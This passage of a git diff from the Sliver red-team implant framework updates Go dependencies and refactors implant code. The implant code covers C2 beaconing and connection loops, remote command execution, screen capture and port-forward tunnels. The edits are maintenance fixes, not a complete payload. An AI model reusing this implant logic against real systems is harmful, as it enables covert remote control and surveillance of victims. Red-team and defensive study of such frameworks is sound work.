golang.org/x/sys v0.0.0-20191001151750-bb3f8db39f24/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20191005200804-aed5e4c7ecf9/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20191022100944-742c48ecaeb7/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
@@ -1049,7 +1034,6 @@ golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7w
golang.org/x/sys v0.0.0-20200302150141-5c8b2ff67527/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200323222414-85ca7c5b95cd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200331124033-c3d80250170d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200413165638-669c56c373c4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200420163511-1957bb5e6d1f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200501052902-10377860bb8e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200511232937-7e40ca221e25/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
@@ -1068,6 +1052,7 @@ golang.org/x/sys v0.0.0-20201112073958-5cba982894dd/go.mod h1:h1NjWce9XRLGQEsW7w
golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20201126233918-771906719818/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20201201145000-ef89a241ccb3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20201207223542-d4d67f95c62d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20201214210602-f9fddec55a1e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210104204734-6f8348627aad/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210119212857-b64e53b001e4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
@@ -1080,22 +1065,24 @@ golang.org/x/sys v0.0.0-20210330210617-4fbd30eecc44/go.mod h1:h1NjWce9XRLGQEsW7w
golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210510120138-977fb7262007/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20210816074244-15123e1e1f71/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20210902050250-f475640dd07b/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20210927094055-39ccf1dd6fa6/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20211007075335-d3039528d8ac/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20211013075003-97ac67df715c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20211019181941-9d821ace8654/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20211103235746-7861aae1554b/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20211110154304-99a53858aa08/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20211117180635-dee7805ff2e1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20211216021012-1d35b9e2eb4e/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220128215802-99c3d69c2c27/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220207234003-57398862261d/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220315194320-039c03cc5b86 h1:A9i04dxx7Cribqbs8jf3FQLogkL/CV2YN7hj9KWJCkc=
golang.org/x/sys v0.0.0-20220315194320-039c03cc5b86/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220330033206-e17cdc41300f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220422013727-9388b58f7150/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220825204002-c680a09ffe64 h1:UiNENfZ8gDvpiWw7IpOMQ27spWmThO1RwwdQVbJahJM=
golang.org/x/sys v0.0.0-20220825204002-c680a09ffe64/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw=
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
golang.org/x/term v0.0.0-20210503060354-a79de5458b56/go.mod h1:tfny5GFUkzUvx4ps4ajbZsCe5lw1metzhBm9T3x7oIY=
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211 h1:JGgROgKl9N8DuW20oFS5gxc+lE67/N3FcwmBPMe7ArY=
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8=
golang.org/x/text v0.0.0-20160726164857-2910a502d2bf/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
@@ -1139,15 +1126,14 @@ golang.org/x/tools v0.0.0-20190911174233-4f2ddba30aff/go.mod h1:b+2E5dAYhXwXZwtn
golang.org/x/tools v0.0.0-20191012152004-8de300cfc20a/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/tools v0.0.0-20191029041327-9cc4af7d6b2c/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/tools v0.0.0-20191029190741-b9c20aec41a5/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/tools v0.0.0-20191112195655-aa38f8e97acc/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/tools v0.0.0-20191113191852-77e3bb0ad9e7/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/tools v0.0.0-20191115202509-3a792d9c32b2/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/tools v0.0.0-20191125144606-a911d9008d1f/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/tools v0.0.0-20191130070609-6e064ea0cf2d/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/tools v0.0.0-20191216052735-49a3e744a425/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
golang.org/x/tools v0.0.0-20191216173652-a0e659d51361/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
golang.org/x/tools v0.0.0-20191227053925-7b8e75db28f4/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
golang.org/x/tools v0.0.0-20200103221440-774c71fcf114/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
golang.org/x/tools v0.0.0-20200117161641-43d50277825c/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
golang.org/x/tools v0.0.0-20200122220014-bf1340f18c4a/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
golang.org/x/tools v0.0.0-20200130002326-2f3ba24bd6e7/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
@@ -1176,6 +1162,7 @@ golang.org/x/tools v0.0.0-20210105154028-b0ab187a4818/go.mod h1:emZCQorbCU4vsT4f
golang.org/x/tools v0.0.0-20210106214847-113979e3529a/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA=
golang.org/x/tools v0.1.0/go.mod h1:xkSsbof2nBLbhDlRMhhhyNLN/zl3eTqcnHD5viDpcZ0=
golang.org/x/tools v0.1.5/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk=
golang.org/x/tools v0.1.6-0.20210726203631-07bc1bf47fb2/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk=
golang.org/x/tools v0.1.9 h1:j9KsMiaP1c3B0OTQGth0/k+miLGTgLsAFUCrF2vLcF8=
golang.org/x/tools v0.1.9/go.mod h1:nABZi5QlRsZVlzPpHl034qft6wpY4eDcsTt5AaioBiU=
golang.org/x/xerrors v0.0.0-20190410155217-1f06c39b4373/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
@@ -1325,7 +1312,6 @@ gopkg.in/fsnotify.v1 v1.4.7/go.mod h1:Tz8NjZHkW78fSQdbUxIjBTcgA1z1m8ZHf0WmKUhAMy
gopkg.in/gemnasium/logrus-airbrake-hook.v2 v2.1.2/go.mod h1:Xk6kEKp8OKb+X14hQBKWaSkCsqBpgog8nAV2xsGOxlo=
gopkg.in/inconshreveable/log15.v2 v2.0.0-20180818164646-67afb5ed74ec/go.mod h1:aPpfJ7XW+gOuirDoZ8gHhLh3kZ1B08FtV2bbmy7Jv3s=
gopkg.in/inf.v0 v0.9.1/go.mod h1:cWUDdTG/fYaXco+Dcufb5Vnc6Gp2YChqWtbxRZE0mXw=
gopkg.in/ini.v1 v1.51.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k=
gopkg.in/natefinch/lumberjack.v2 v2.0.0/go.mod h1:l0ndWWf7gzL7RNwBG7wST/UCcT4T24xpD6X8LsfU/+k=
gopkg.in/resty.v1 v1.12.0/go.mod h1:mDo4pnntr5jdWRML875a/NmxYqAlA73dVijT2AXvQQo=
gopkg.in/square/go-jose.v2 v2.3.1/go.mod h1:M9dMgbHiYLoDGQrXy7OpJDJWiKiU//h+vD76mk0e1AI=
@@ -1338,19 +1324,20 @@ gopkg.in/yaml.v2 v2.2.3/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v2 v2.2.4/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v2 v2.2.5/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ=
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
gopkg.in/yaml.v3 v3.0.0 h1:hjy8E9ON/egN1tAYqKb61G10WtihqetD4sz2H+8nIeA=
gopkg.in/yaml.v3 v3.0.0/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
gorm.io/driver/mysql v1.0.3 h1:+JKBYPfn1tygR1/of/Fh2T8iwuVwzt+PEJmKaXzMQXg=
gorm.io/driver/mysql v1.0.3/go.mod h1:twGxftLBlFgNVNakL7F+P/x9oYqoymG3YYT8cAfI9oI=
gorm.io/driver/postgres v1.0.5 h1:raX6ezL/ciUmaYTvOq48jq1GE95aMC0CmxQYbxQ4Ufw=
gorm.io/driver/postgres v1.0.5/go.mod h1:qrD92UurYzNctBMVCJ8C3VQEjffEuphycXtxOudXNCA=
gorm.io/driver/sqlite v1.1.3 h1:BYfdVuZB5He/u9dt4qDpZqiqDJ6KhPqs5QUqsr/Eeuc=
gorm.io/driver/sqlite v1.1.3/go.mod h1:AKDgRWk8lcSQSw+9kxCJnX/yySj8G3rdwYlU57cB45c=
gorm.io/gorm v1.20.1/go.mod h1:0HFTzE/SqkGTzK6TlDPPQbAYCluiVvhzoA1+aVyzenw=
gorm.io/gorm v1.20.4/go.mod h1:0HFTzE/SqkGTzK6TlDPPQbAYCluiVvhzoA1+aVyzenw=
gorm.io/gorm v1.21.14 h1:NAR9A/3SoyiPVHouW/rlpMUZvuQZ6Z6UYGz+2tosSQo=
gorm.io/gorm v1.21.14/go.mod h1:F+OptMscr0P2F2qU97WT1WimdH9GaQPoDW7AYd5i2Y0=
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
gorm.io/driver/mysql v1.3.6 h1:BhX1Y/RyALb+T9bZ3t07wLnPZBukt+IRkMn8UZSNbGM=
gorm.io/driver/mysql v1.3.6/go.mod h1:sSIebwZAVPiT+27jK9HIwvsqOGKx3YMPmrA3mBJR10c=
gorm.io/driver/postgres v1.3.9 h1:lWGiVt5CijhQAg0PWB7Od1RNcBw/jS4d2cAScBcSDXg=
gorm.io/driver/postgres v1.3.9/go.mod h1:qw/FeqjxmYqW5dBcYNBsnhQULIApQdk7YuuDPktVi1U=
gorm.io/driver/sqlite v1.3.6 h1:Fi8xNYCUplOqWiPa3/GuCeowRNBRGTf62DEmhMDHeQQ=
gorm.io/driver/sqlite v1.3.6/go.mod h1:Sg1/pvnKtbQ7jLXxfZa+jSHvoX8hoZA8cn4xllOMTgE=
gorm.io/gorm v1.23.4/go.mod h1:l2lP/RyAtc1ynaTjFksBde/O8v9oOGIApu2/xRitmZk=
gorm.io/gorm v1.23.7/go.mod h1:l2lP/RyAtc1ynaTjFksBde/O8v9oOGIApu2/xRitmZk=
gorm.io/gorm v1.23.8 h1:h8sGJ+biDgBA1AD1Ha9gFCx7h8npU7AsLdlkX0n2TpE=
gorm.io/gorm v1.23.8/go.mod h1:l2lP/RyAtc1ynaTjFksBde/O8v9oOGIApu2/xRitmZk=
gotest.tools v2.2.0+incompatible/go.mod h1:DsYFclhRJ6vuDpmuTbkuFWG+y2sxOXAzmJt81HFBacw=
gotest.tools/v3 v3.0.2/go.mod h1:3SzNCllyD9/Y+b5r9JIKQ474KzkZyqLqEfYqMsX94Bk=
gotest.tools/v3 v3.0.3/go.mod h1:Z7Lb0S5l+klDB31fvDQX8ss/FlKDxtlFlw3Oa8Ymbl8=
+6
View File
@@ -372,6 +372,9 @@ func prepareDownload(path string, filter string, recurse bool) ([]byte, bool, in
to download a single file
*/
fileInfo, err := os.Stat(path + filter)
if err != nil {
return nil, false, 0, 1, err
}
if err == nil && !fileInfo.IsDir() {
// Then this is a single file
rawData, err := os.ReadFile(path + filter)
@@ -593,6 +596,9 @@ func executeHandler(data []byte, resp RPCResponse) {
Err: fmt.Sprintf("%s", err),
}
}
if cmd.Process != nil {
execResp.Pid = uint32(cmd.Process.Pid)
}
}
data, err = proto.Marshal(execResp)
resp(data, err)
@@ -19,17 +19,18 @@ package tunnel_handlers
*/
import (
// {{if .Config.Debug}}
"log"
// {{end}}
"context"
"fmt"
"io"
"net"
"sync"
"time"
// {{if .Config.Debug}}
"log"
// {{end}}
"github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -108,23 +109,31 @@ func PortfwdReqHandler(envelope *sliverpb.Envelope, connection *transports.Conne
Data: portfwdResp,
}
once := sync.Once{}
cleanup := func(reason error) {
// {{if .Config.Debug}}
log.Printf("[portfwd] Closing tunnel %d (%s)", tunnel.ID, reason)
// {{end}}
tunnel := connection.Tunnel(tunnel.ID)
once.Do(func() {
// {{if .Config.Debug}}
log.Printf("[portfwd] Closing tunnel %d (%s)", tunnel.ID, reason)
// {{end}}
cleanupTunnel := connection.Tunnel(tunnel.ID)
if cleanupTunnel == nil {
return
}
tunnelClose, _ := proto.Marshal(&sliverpb.TunnelData{
Closed: true,
TunnelID: tunnel.ID,
tunnelClose, _ := proto.Marshal(&sliverpb.TunnelData{
Closed: true,
TunnelID: cleanupTunnel.ID,
})
connection.Send <- &sliverpb.Envelope{
Type: sliverpb.MsgTunnelClose,
Data: tunnelClose,
}
connection.RemoveTunnel(cleanupTunnel.ID)
if dst != nil {
dst.Close()
}
cancelContext()
})
connection.Send <- &sliverpb.Envelope{
Type: sliverpb.MsgTunnelClose,
Data: tunnelClose,
}
connection.RemoveTunnel(tunnel.ID)
dst.Close()
cancelContext()
}
go func() {
+2
View File
@@ -1,3 +1,4 @@
//go:build darwin
// +build darwin
package ps
@@ -90,6 +91,7 @@ func processes() ([]Process, error) {
pCommReader := bytes.NewBuffer(pComm)
binPath, _ = pCommReader.ReadString(0x00)
}
binPath = strings.TrimSuffix(binPath, "\x00") // Trim the null byte
// Discard the error: if the call errors out, we'll just have an empty argv slice
cmdLine, _ := getArgvFromPid(int(p.Proc.P_pid))
+5 -3
View File
@@ -58,9 +58,11 @@ func DarwinCapture() []byte {
}
img, err := screen.Capture(0, 0, width, height)
//{{if .Config.Debug}}
log.Printf("Error Capture: %s", err)
//{{end}}
if err != nil {
//{{if .Config.Debug}}
log.Printf("Error Capture: %s", err)
//{{end}}
}
var buf bytes.Buffer
if err != nil {
+5 -3
View File
@@ -47,9 +47,11 @@ func LinuxCapture() []byte {
}
img, err := screen.Capture(0, 0, width, height)
//{{if .Config.Debug}}
log.Printf("Error Capture: %s", err)
//{{end}}
if err != nil {
//{{if .Config.Debug}}
log.Printf("Error Capture: %s", err)
//{{end}}
}
var buf bytes.Buffer
if err != nil {
+5 -3
View File
@@ -47,9 +47,11 @@ func WindowsCapture() []byte {
}
img, err := screen.Capture(0, 0, width, height)
//{{if .Config.Debug}}
log.Printf("Error Capture: %s", err)
//{{end}}
if err != nil {
//{{if .Config.Debug}}
log.Printf("Error Capture: %s", err)
//{{end}}
}
var buf bytes.Buffer
if err != nil {
+18
View File
@@ -1,5 +1,23 @@
package service
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"fmt"
"time"
+5 -14
View File
@@ -67,14 +67,7 @@ import (
)
var (
InstanceID string
c2Servers = []string{
// {{range $index, $value := .Config.C2}}
"{{$value}}", // {{$index}}
// {{end}}
}
InstanceID string
connectionErrors = 0
)
@@ -202,7 +195,7 @@ func beaconStartup() {
defer func() {
abort <- struct{}{}
}()
beacons := transports.StartBeaconLoop(c2Servers, abort)
beacons := transports.StartBeaconLoop(abort)
for beacon := range beacons {
// {{if .Config.Debug}}
log.Printf("Next beacon = %v", beacon)
@@ -234,7 +227,7 @@ func sessionStartup() {
defer func() {
abort <- struct{}{}
}()
connections := transports.StartConnectionLoop(c2Servers, abort)
connections := transports.StartConnectionLoop(abort)
for connection := range connections {
if connection != nil {
err := sessionMainLoop(connection)
@@ -480,9 +473,7 @@ func openSessionHandler(data []byte) {
log.Printf("[beacon] failed to parse open session msg: %s", err)
// {{end}}
}
// {{if .Config.Debug}}
log.Printf("[beacon] open session -> %v", openSession.C2S)
// {{end}}
if openSession.Delay != 0 {
// {{if .Config.Debug}}
log.Printf("[beacon] delay %s", time.Duration(openSession.Delay))
@@ -492,7 +483,7 @@ func openSessionHandler(data []byte) {
go func() {
abort := make(chan struct{})
connections := transports.StartConnectionLoop(openSession.C2S, abort)
connections := transports.StartConnectionLoop(abort)
defer func() { abort <- struct{}{} }()
connectionAttempts := 0
for connection := range connections {
+21 -2
View File
@@ -1,12 +1,31 @@
//go:build windows
// +build windows
package spoof
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"golang.org/x/sys/windows"
"os/exec"
"syscall"
"golang.org/x/sys/windows"
// {{if .Config.Debug}}
"log"
// {{end}}
+2 -2
View File
@@ -113,7 +113,7 @@ func (b *Beacon) Duration() time.Duration {
}
// StartBeaconLoop - Starts the beacon loop generator
func StartBeaconLoop(c2s []string, abort <-chan struct{}) <-chan *Beacon {
func StartBeaconLoop(abort <-chan struct{}) <-chan *Beacon {
// {{if .Config.Debug}}
log.Printf("Starting beacon loop ...")
// {{end}}
@@ -122,7 +122,7 @@ func StartBeaconLoop(c2s []string, abort <-chan struct{}) <-chan *Beacon {
nextBeacon := make(chan *Beacon)
innerAbort := make(chan struct{})
c2Generator := C2Generator(c2s, innerAbort)
c2Generator := C2Generator(innerAbort)
go func() {
defer close(nextBeacon)
+24 -6
View File
@@ -1,5 +1,23 @@
package transports
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"net/url"
"sync"
@@ -14,7 +32,7 @@ type Connection struct {
ctrl chan struct{}
cleanup func()
once *sync.Once
tunnels *map[uint64]*Tunnel
tunnels map[uint64]*Tunnel
mutex *sync.RWMutex
uri *url.URL
@@ -53,7 +71,7 @@ func (c *Connection) Cleanup() {
func (c *Connection) Tunnel(ID uint64) *Tunnel {
c.mutex.RLock()
defer c.mutex.RUnlock()
return (*c.tunnels)[ID]
return c.tunnels[ID]
}
// AddTunnel - Add tunnel to mapping
@@ -61,7 +79,7 @@ func (c *Connection) AddTunnel(tun *Tunnel) {
c.mutex.Lock()
defer c.mutex.Unlock()
(*c.tunnels)[tun.ID] = tun
c.tunnels[tun.ID] = tun
}
// RemoveTunnel - Add tunnel to mapping
@@ -69,17 +87,17 @@ func (c *Connection) RemoveTunnel(ID uint64) {
c.mutex.Lock()
defer c.mutex.Unlock()
delete(*c.tunnels, ID)
delete(c.tunnels, ID)
}
func (c *Connection) removeAndCloseAllTunnels() {
c.mutex.Lock()
defer c.mutex.Unlock()
for id, tunnel := range *c.tunnels {
for id, tunnel := range c.tunnels {
tunnel.Close()
delete(*c.tunnels, id)
delete(c.tunnels, id)
}
}
+7 -7
View File
@@ -80,7 +80,7 @@ type Start func() error
type Stop func() error
// StartConnectionLoop - Starts the main connection loop
func StartConnectionLoop(c2s []string, abort <-chan struct{}) <-chan *Connection {
func StartConnectionLoop(abort <-chan struct{}) <-chan *Connection {
// {{if .Config.Debug}}
log.Printf("Starting interactive session connection loop ...")
@@ -88,7 +88,7 @@ func StartConnectionLoop(c2s []string, abort <-chan struct{}) <-chan *Connection
nextConnection := make(chan *Connection)
innerAbort := make(chan struct{})
c2Generator := C2Generator(c2s, innerAbort)
c2Generator := C2Generator(innerAbort)
go func() {
var connection *Connection
@@ -204,7 +204,7 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
Send: send,
Recv: recv,
ctrl: ctrl,
tunnels: &map[uint64]*Tunnel{},
tunnels: map[uint64]*Tunnel{},
mutex: &sync.RWMutex{},
once: &sync.Once{},
IsOpen: false,
@@ -306,7 +306,7 @@ func wgConnect(uri *url.URL) (*Connection, error) {
Send: send,
Recv: recv,
ctrl: ctrl,
tunnels: &map[uint64]*Tunnel{},
tunnels: map[uint64]*Tunnel{},
mutex: &sync.RWMutex{},
once: &sync.Once{},
uri: uri,
@@ -414,7 +414,7 @@ func httpConnect(uri *url.URL) (*Connection, error) {
Send: send,
Recv: recv,
ctrl: ctrl,
tunnels: &map[uint64]*Tunnel{},
tunnels: map[uint64]*Tunnel{},
mutex: &sync.RWMutex{},
once: &sync.Once{},
uri: uri,
@@ -535,7 +535,7 @@ func dnsConnect(uri *url.URL) (*Connection, error) {
Send: send,
Recv: recv,
ctrl: ctrl,
tunnels: &map[uint64]*Tunnel{},
tunnels: map[uint64]*Tunnel{},
mutex: &sync.RWMutex{},
once: &sync.Once{},
IsOpen: true,
@@ -644,7 +644,7 @@ func tcpPivotConnect(uri *url.URL) (*Connection, error) {
Send: send,
Recv: recv,
ctrl: ctrl,
tunnels: &map[uint64]*Tunnel{},
tunnels: map[uint64]*Tunnel{},
mutex: &sync.RWMutex{},
once: &sync.Once{},
IsOpen: true,
+17 -9
View File
@@ -36,10 +36,18 @@ const (
)
// C2Generator - Creates a stream of C2 URLs based on a connection strategy
func C2Generator(c2Servers []string, abort <-chan struct{}) <-chan *url.URL {
func C2Generator(abort <-chan struct{}) <-chan *url.URL {
// {{if .Config.Debug}}
log.Printf("Starting c2 url generator ({{.Config.ConnectionStrategy}}) ...")
// {{end}}
c2Servers := []func() string{}
// {{range $index, $value := .Config.C2}}
c2Servers = append(c2Servers, func() string {
return "{{$value}}" // {{$index}}
})
// {{end}} - range
generator := make(chan *url.URL)
go func() {
defer close(generator)
@@ -48,16 +56,16 @@ func C2Generator(c2Servers []string, abort <-chan struct{}) <-chan *url.URL {
var next string
switch "{{.Config.ConnectionStrategy}}" {
case strategyRandom: // Random
next = c2Servers[insecureRand.Intn(len(c2Servers))]
next = c2Servers[insecureRand.Intn(len(c2Servers))]()
case strategyRandomDomain: // Random Domain
// Select the next sequential C2 then use it's protocol to make a random
// selection from all C2s that share it's protocol.
next = c2Servers[insecureRand.Intn(len(c2Servers))]
next = c2Servers[insecureRand.Intn(len(c2Servers))]()
next = randomCCDomain(c2Servers, next)
case strategySequential: // Sequential
next = c2Servers[c2Counter%uint(len(c2Servers))]
next = c2Servers[c2Counter%uint(len(c2Servers))]()
default:
next = c2Servers[c2Counter%uint(len(c2Servers))]
next = c2Servers[c2Counter%uint(len(c2Servers))]()
}
c2Counter++
if ^uint(0) < c2Counter {
@@ -90,15 +98,15 @@ func C2Generator(c2Servers []string, abort <-chan struct{}) <-chan *url.URL {
}
// randomCCDomain - Random selection within a protocol
func randomCCDomain(ccServers []string, next string) string {
func randomCCDomain(ccServers []func() string, next string) string {
uri, err := url.Parse(next)
if err != nil {
return next
}
pool := []string{}
pool := []func() string{}
protocol := uri.Scheme
for _, cc := range ccServers {
uri, err := url.Parse(cc)
uri, err := url.Parse(cc())
if err != nil {
continue
}
@@ -106,7 +114,7 @@ func randomCCDomain(ccServers []string, next string) string {
